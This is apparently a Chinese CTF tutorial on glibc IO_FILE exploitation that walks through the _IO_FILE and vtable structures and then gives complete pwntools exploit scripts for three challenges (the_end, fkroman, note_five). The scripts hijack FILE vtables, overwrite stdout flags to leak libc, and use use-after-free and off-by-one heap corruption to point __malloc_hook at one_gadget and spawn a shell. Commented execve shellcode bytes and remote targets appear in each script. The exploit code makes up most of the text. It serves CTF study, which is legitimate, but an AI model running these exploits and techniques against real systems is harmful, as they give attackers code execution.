感谢师傅,最近刚好在看 IO_FILE
这篇文章是对上一篇的更新,IO_File是很重要的一个环节,学好了对于堆的CTF题目事半功倍,下面进入正题。
一、IO_File结构体一览
首先看一波源码:
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
其实进程中的FILE结构会通过_chain域彼此连接形成一个链表,链表头部用全局变量_IO_list_all表示
,通过这个值我们可以遍历所有的FILE结构。
在标准的I/O库中,stdin、stdout、stderr是在libc.so的数据段的,而且三个文件流是自动打开的 ,但是fopen创建的文件流则是在堆中,看下符号长什么样:
_IO_2_1_stderr_
_IO_2_1_stdout_
_IO_2_1_stdin_
但是file结构其实只是一小部分,它有个兄弟叫vtable指针,两人一起同属于_IO_File_plus:
struct _IO_FILE_plus
{
_IO_FILE file;
IO_jump_t *vtable;
}
//32位下的偏移是0x94,而64位下偏移是0xd8
在gdb中调试下看看:
Vtable存着哪些可以跳转的函数指针呢?看看
void * funcs[] = {
1 NULL, // "extra word"
2 NULL, // DUMMY
3 exit, // finish
4 NULL, // overflow
5 NULL, // underflow
6 NULL, // uflow
7 NULL, // pbackfail
8 NULL, // xsputn #printf
9 NULL, // xsgetn
10 NULL, // seekoff
11 NULL, // seekpos
12 NULL, // setbuf
13 NULL, // sync
14 NULL, // doallocate
15 NULL, // read
16 NULL, // write
17 NULL, // seek
18 pwn, // close
19 NULL, // stat
20 NULL, // showmanyc
21 NULL, // imbue
};
这里自己写了个简单的程序去研究:
可以看到一个简单的puts函数,调用的过程是puts——>IO_file_xsputn——>IO_file_overflow——>.........malloc(“666”)——>write输出666
_IO_FILE_plus 结构中存在 vtable,一些函数会取出 vtable 中的指针进行调用。
因此伪造vtable劫持控制流程的思想就是针对_IO_File_plus的vtable动手脚,通过把vtable指向我们控制的内存,并在其中部署函数指针来实现
所以vtable劫持分为2种,一种是直接改写vtable的函数的指针,通过任意地址写就可以实现。另一种是覆盖vtable的指针为我们控制的内存,然后在其中布置函数指针。
二、修改vtable实现控制程序流程:
The_end
有点不寻常的题目,肯定是新姿势,close关闭的话就无法再输出信息,但是前面给了sleep的真实地址,所以直接泄露出来得到onegadget,同时我们知道exit会调用_IO_2_1_stdout_的sebuf函数,接着就是任意地址写5字节的操作了(假想
成格式化字符串写地址),具体往哪里写呢,先来看下结构体:
可以看到setbuf的偏移为88,那么我们可以伪造vtable指针和setbuf地址,选取IO_2_1_stdout+160作为我们的setbuf的地址,IO_2_1_stdout+160-88就是我们的fake_vtable地址,这样我们一共需要填5次,第一次填写vtable的低2位字节,第二次填写onegadget的低3位字节,由于偏移是不变的,所以直接打:
exp:
#coding=utf8
from pwn import *
from libformatstr import FormatStr
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./the_end')
if local:
p = process('./the_end')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6) 0x45216 0x4526a 0xf02a4 0xf1147
#onegadget32(libc.so.6) 0x3ac5c 0x3ac5e 0x3ac62 0x3ac69 0x5fbc5 0x5fbc6
# payload32 = fmtstr_payload(offset ,{xxx_got:system_addr})
# f = FormatStr(isx64=1)
# f[0x8048260]=0x45372800
# f[0x8048260+4]=0x7f20
# f.payload(7)
#shellcode = asm(shellcraft.sh())
#shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80'
#shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))
debug(0x000964)
ru("gift ")
sleep_addr = int(rc(14),16)
print "sleep_addr--->" + hex(sleep_addr)
libc_base = sleep_addr - libc.symbols['sleep']
onegadget = libc_base + 0xf02a4
vtable = libc_base + 0x3c56f8
fake_vtable = vtable - 0x90
fake_setbuf = fake_vtable + 88
for i in range(2):
sd(p64(vtable+i))
sd(p64(fake_vtable)[i])
for i in range(3):
sd(p64(fake_setbuf+i))
sd(p64(onegadget)[i])
p.interactive()
调试看看情况,发现成功改写:
其实这题还可以直接利用exit执行_dl_fini:
我们直接往0x7f6086f14f48 (_rtld_global+3848)写入onegadget的4个字节即可 :
#coding=utf8
from pwn import *
from libformatstr import FormatStr
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./the_end')
if local:
p = process('./the_end')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6) 0x45216 0x4526a 0xf02a4 0xf1147
#onegadget32(libc.so.6) 0x3ac5c 0x3ac5e 0x3ac62 0x3ac69 0x5fbc5 0x5fbc6
# payload32 = fmtstr_payload(offset ,{xxx_got:system_addr})
# f = FormatStr(isx64=1)
# f[0x8048260]=0x45372800
# f[0x8048260+4]=0x7f20
# f.payload(7)
#shellcode = asm(shellcraft.sh())
#shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80'
#shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))
debug(0x000964)
ru("gift ")
sleep_addr = int(rc(14),16)
print "sleep_addr--->" + hex(sleep_addr)
libc_base = sleep_addr - libc.symbols['sleep']
onegadget = libc_base + 0xf02a4
vtable = libc_base + 0x3c56f8
fake_vtable = vtable - 0x90
fake_setbuf = fake_vtable + 88
free_hook = libc_base + libc.symbols["__free_hook"]
fake_got = libc_base + 0x5f0f48
print "fake_got--->" + hex(fake_got)
print "onegadget--->" + hex(onegadget)
for i in range(5):
sd(p64(fake_got+i))
sd(p64(onegadget)[i])
p.interactive()
总结:这种是通过改vtable指针,通过伪造vtable指针来改变跳转。
三、IO_2_1_stdout_泄露地址
这里得看一波源码才了解具体的原理:
首先得知道puts函数的函数调用链:
我们知道puts函数在源码中是通过_IO_puts函数的内部调用_IO_sputn实现,结果会执行_IO_new_file_xsputn,最终执行_IO_overflow,我们来看下_IO_puts的源码实现:
int
_IO_puts (const char *str)
{
int result = EOF;
_IO_size_t len = strlen (str);
_IO_acquire_lock (_IO_stdout);
if ((_IO_vtable_offset (_IO_stdout) != 0
|| _IO_fwide (_IO_stdout, -1) == -1)
&& _IO_sputn (_IO_stdout, str, len) == len
&& _IO_putc_unlocked ('\n', _IO_stdout) != EOF)
result = MIN (INT_MAX, len + 1);
_IO_release_lock (_IO_stdout);
return result;
}
_IO_new_file_overflow源码分析:
int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;//程序会dang,所以我们不能进入这个if分支,所以f->_flags & _IO_NO_WRITES要等于0,所以flag=0xfbad0000
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
......
......
//这个分支复杂,最后也会dang,我们不能进去,所以f->_flags & _IO_CURRENTLY_PUTTING=1即可,所以flag=0xfbad0800
}
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base); //目标函数,这里执行_IO_do_write会涉及到syscall,相当于write(1,buf,size),由于目的就是泄露地址,所以buf=_IO_write_base就是我们要修改的值,一般将末尾改成'\x00',原本是有值的
if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
if (_IO_do_flush (f) == EOF)
return EOF;
*f->_IO_write_ptr++ = ch;
if ((f->_flags & _IO_UNBUFFERED)
|| ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
if (_IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base) == EOF)
return EOF;
return (unsigned char) ch;
}
进去do_new_write:
static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{//相当于write(1,buf,size)
_IO_size_t count;
if (fp->_flags & _IO_IS_APPENDING)//要进去的话,flag=0xfbad1800
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{//这里虽然可以改,但是如果改成相同的,程序会crash掉,所以要避免进去这个分支
_IO_off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do); //最终输出,系统调用write
if (fp->_cur_column && count)
fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
fp->_IO_write_end = (fp->_mode <= 0
&& (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
? fp->_IO_buf_base : fp->_IO_buf_end);
return count;//回显出write出来的东西
}
好了,源码解析完毕了,下面就是利用演示了:
这种利用方法针对于没有puts打印函数的情况,但是需要一个前提,就是需要劫持到stdout结构体,一般来说是通过UAF(unsorted bin切割法得到地址,FD指向unsortedbin),接着改FD的main_arena+88的末位(若没有则利用攻击global_max_fast的方式去做,使得有fastbin dump),变成stdout-xx的位置(得有0x7f或者0xff的size,0x7f在0x43的位置,0xff在0x51的位置),下一次申请时就可以从上往下写,改写flag标志位为0xfbad1800固定值,同时修改IO_Write_base末尾为'\x00',在flag位和IO_Write_base位之间填写的东西可以为任意值,我们的目的是下溢改写IO_Write_base。
程序就是常规的菜单题:
我们整理出函数,没有puts打印函数,但是有UAF漏洞,可以free完改FD,也可以double free。
def malloc(index,size):
ru("Your choice: ")
sl('1')
ru("Index: ")
sl(str(index))
ru("Size: ")
sl(str(size))
def free(index):
ru("Your choice: ")
sl('3')
ru("Index: ")
sl(str(index))
def edit(index,size,content):
ru("Your choice: ")
sl('4')
ru("Index: ")
sl(str(index))
ru("Size: ")
sl(str(size))
ru("Content: ")
sd(content)
这里有个问题就是搞到有unsorted_bin的FD指针的堆块,重复利用法:
malloc(0,0x400)
malloc(1,0x60)
malloc(2,0x20)
free(0)
malloc(3,0x60)
malloc(4,0x60)
malloc(5,0x60)
free(3)
free(4)
edit(4,1,'\xe0')
先申请大块chunk,free用切割法得到有main_arena地址的chunk块,然后利用UAF改写FD指针指向我们的有main_arena地址的堆块,接着再edit这个堆块的FD为stdout-xx(成功实现劫持),所以这个块是被使用了两次~
再申请出来就可以改写stdout的标志位和输出位置了。有了真实地址后就可以再次改写FD指针然后改malloc_hook为我们的onegadget,即可getshell。
#coding=utf8
from pwn import *
from libformatstr import FormatStr
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./fkroman')
if local:
p = process('./fkroman')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6) 0x45216 0x4526a 0xf02a4 0xf1147
#onegadget32(libc.so.6) 0x3ac5c 0x3ac5e 0x3ac62 0x3ac69 0x5fbc5 0x5fbc6
# payload32 = fmtstr_payload(offset ,{xxx_got:system_addr})
# f = FormatStr(isx64=1)
# f[0x8048260]=0x45372800
# f[0x8048260+4]=0x7f20
# f.payload(7)
#shellcode = asm(shellcraft.sh())
#shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80'
#shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))
def malloc(index,size):
ru("Your choice: ")
sl('1')
ru("Index: ")
sl(str(index))
ru("Size: ")
sl(str(size))
def free(index):
ru("Your choice: ")
sl('3')
ru("Index: ")
sl(str(index))
def edit(index,size,content):
ru("Your choice: ")
sl('4')
ru("Index: ")
sl(str(index))
ru("Size: ")
sl(str(size))
ru("Content: ")
sd(content)
def pwn():
malloc(0,0x400)
malloc(1,0x60)
malloc(2,0x20)
free(0)
malloc(3,0x60)
malloc(4,0x60)
malloc(5,0x60)
free(3)
free(4)
edit(4,1,'\xe0')
malloc(3,0x60)
edit(5,2,'\xdd\x75')
# debug(0)
malloc(4,0x60)
py = ''
py += '\x00'*0x33 + p64(0xfbad1800) + p64(0)*3 + '\x00'
malloc(5,0x60)
edit(5,len(py),py)
rc(0x40)
libc_base = u64(rc(8)) - 0x3c5600
print "libc_base--->" + hex(libc_base)
onegadget = libc_base + 0x4526a
fake_chunk = libc_base + libc.symbols["__malloc_hook"] - 0x23
free(1)
edit(1,8,p64(fake_chunk))
malloc(1,0x60)
malloc(6,0x60)
py = ''
py += 'a'*0x13 + p64(onegadget)
edit(6,len(py),py)
malloc(7,0x60)
i = 1
while 1:
print i
i += 1
try:
pwn()
except Exception as e:
p.close()
local = 1
elf = ELF('./fkroman')
if local:
p = process('./fkroman')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
continue
else:
sl('cat flag')
p.interactive()
总结:这里有1/16的概率可以泄露地址来getshell,但是还是比较简单的,写个循环去爆破就好了。
四、先IO_File泄露地址再修改vtable控制程序流程
拿byteCTF的那道note_five为例:
这题质量还是挺高的,先来看看保护机制:
保护全开,然后看看ida分析逻辑:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
unsigned int choice; // ST0C_4
__int64 result; // rax
init_0();
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
choice = menu();
result = choice;
if ( choice != 2 )
break;
edit();
}
if ( result > 2 )
break;
if ( result != 1 )
goto LABEL_12;
malloc_0();
}
if ( result != 3 )
break;
free_0();
}
if ( result == 4 )
return result;
LABEL_12:
puts("bad choice");
}
}
常见的菜单题,
这里malloc的大小时unsortedbin的范围,没有fastbin的攻击,继续。
这里看看漏洞点:
edit时存在offbyone,同时没有puts函数可以泄露地址。
攻击思路如下:
1、利用offbyone实现overlap
2、利用overlap实现改BK指针,攻击global_max_fast
3、改FD指针为stdout-0x51,成功实现劫持
4、改结构体从而泄露真实地址
5、然后伪造stderr的vtable,由于程序报错会执行vtable+0x18处的IO_file_overflow函数,所以将这个IO_file_overflow函数改成onegadget
6、malloc很大的块,最后触发IO_file_overflow中的_IO_flush_all_lockp,从而getshell。
这里_wide_data要填我们劫持的地址+1的位置,同时要改_mode为1,表示报错模块。
上exp:
#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./note_five')
if local:
p = process('./note_five')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6) 0x45216 0x4526a 0xf02a4 0xf1147
#onegadget32(libc.so.6) 0x3ac5c 0x3ac5e 0x3ac62 0x3ac69 0x5fbc5 0x5fbc6
# payload32 = fmtstr_payload(offset ,{xxx_got:system_mallocr})
# f = FormatStr(isx64=1)
# f[0x8048260]=0x45372800
# f[0x8048260+4]=0x7f20
# f.payload(7)
#shellcode = asm(shellcraft.sh())
#shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80'
#shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
def bk(mallocr):
gdb.attach(p,"b *"+str(hex(mallocr)))
def debug(mallocr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+mallocr)))
else:
gdb.attach(p,"b *{}".format(hex(mallocr)))
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def malloc(idx,size):
ru("choice>> ")
sl('1')
ru("idx: ")
sl(str(idx))
ru("size: ")
sl(str(size))
def free(index):
ru("choice>> ")
sl('3')
ru("idx:")
sl(str(index))
def edit(index,content):
ru("choice>> ")
sl('2')
ru("idx: ")
sl(str(index))
ru("content: ")
sd(content)
def pwn():
malloc(0,0xf8)
malloc(1,0xf8)
malloc(2,0xe8)
malloc(3,0xf8)
malloc(4,0xf8)
free(0)
payload = 'c' * 0xe0 + p64(0x2f0) + '\x00'
edit(2,payload)
free(3)
malloc(0,0x2f0 - 0x10)
payload = '\x11' * 0xf0
payload += p64(0) + p64(0x101)
payload += '\x22' * 0xf0 + p64(0) + p64(0xf1) + "\n"
edit(0,payload)
free(1)
global_max_fast = 0x77f8
stdout = 0x77f8 - 0x1229
payload = '\x11' * 0xf0
payload += p64(0) + p64(0x101)
payload += p64(0) + p16(0x77f8 - 0x10) + '\n'
edit(0,payload)
# debug(0)
malloc(3,0xf8)
malloc(3,0xf8)
payload = '\x11' * 0xf0
payload += p64(0) + p64(0x101)
payload += '\x22' * 0xf0 + p64(0) + p64(0xf1) + "\n"
edit(0,payload)
free(2)
payload = '\x11' * 0xf0
payload += p64(0) + p64(0x101)
payload += '\x22' * 0xf0 + p64(0) + p64(0xf1)
payload += p16(stdout) + '\n'
edit(0,payload)
malloc(3,0xe8)
malloc(4,0xe8)
# debug(0)
py = ''
py += 'a'*0x41 + p64(0xfbad1800) + p64(0)*3 + '\x00' + '\n'
edit(4,py)
rc(0x40)
libc_base = u64(rc(8)) - 0x3c5600
onegadget = libc_base + 0xf1147
print "libc_base--->" + hex(libc_base)
system = libc_base + libc.symbols["system"]
fake_vtable = libc_base + 0x3c5600-8
binsh = libc_base + libc.search('/bin/sh\x00').next()
py = '\x00' + p64(libc_base+0x3c55e0) + p64(0)*3+p64(0x1)+p64(0)+p64(onegadget)+p64(fake_vtable) + '\n'
edit(4,py)
# trigger abort-->flush
malloc(1,1000)
i = 0
while 1:
print i
i += 1
try:
pwn()
except EOFError:
p.close()
local = 1
elf = ELF('./note_five')
if local:
p = process('./note_five')
libc = elf.libc
continue
else:
p = remote('121.40.246.48',9999)
else:
sl("ls")
break
p.interactive()
# p.interactive()
# 0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
# constraints:
# rcx == NULL
# 0x4f322 execve("/bin/sh", rsp+0x40, environ)
# constraints:
# [rsp+0x40] == NULL
# 0x10a38c execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL
总结,IO_File是做堆题目时常用到的很好的方法,掌握泄露地址和改vtable实现控制程序执行流程,受益匪浅。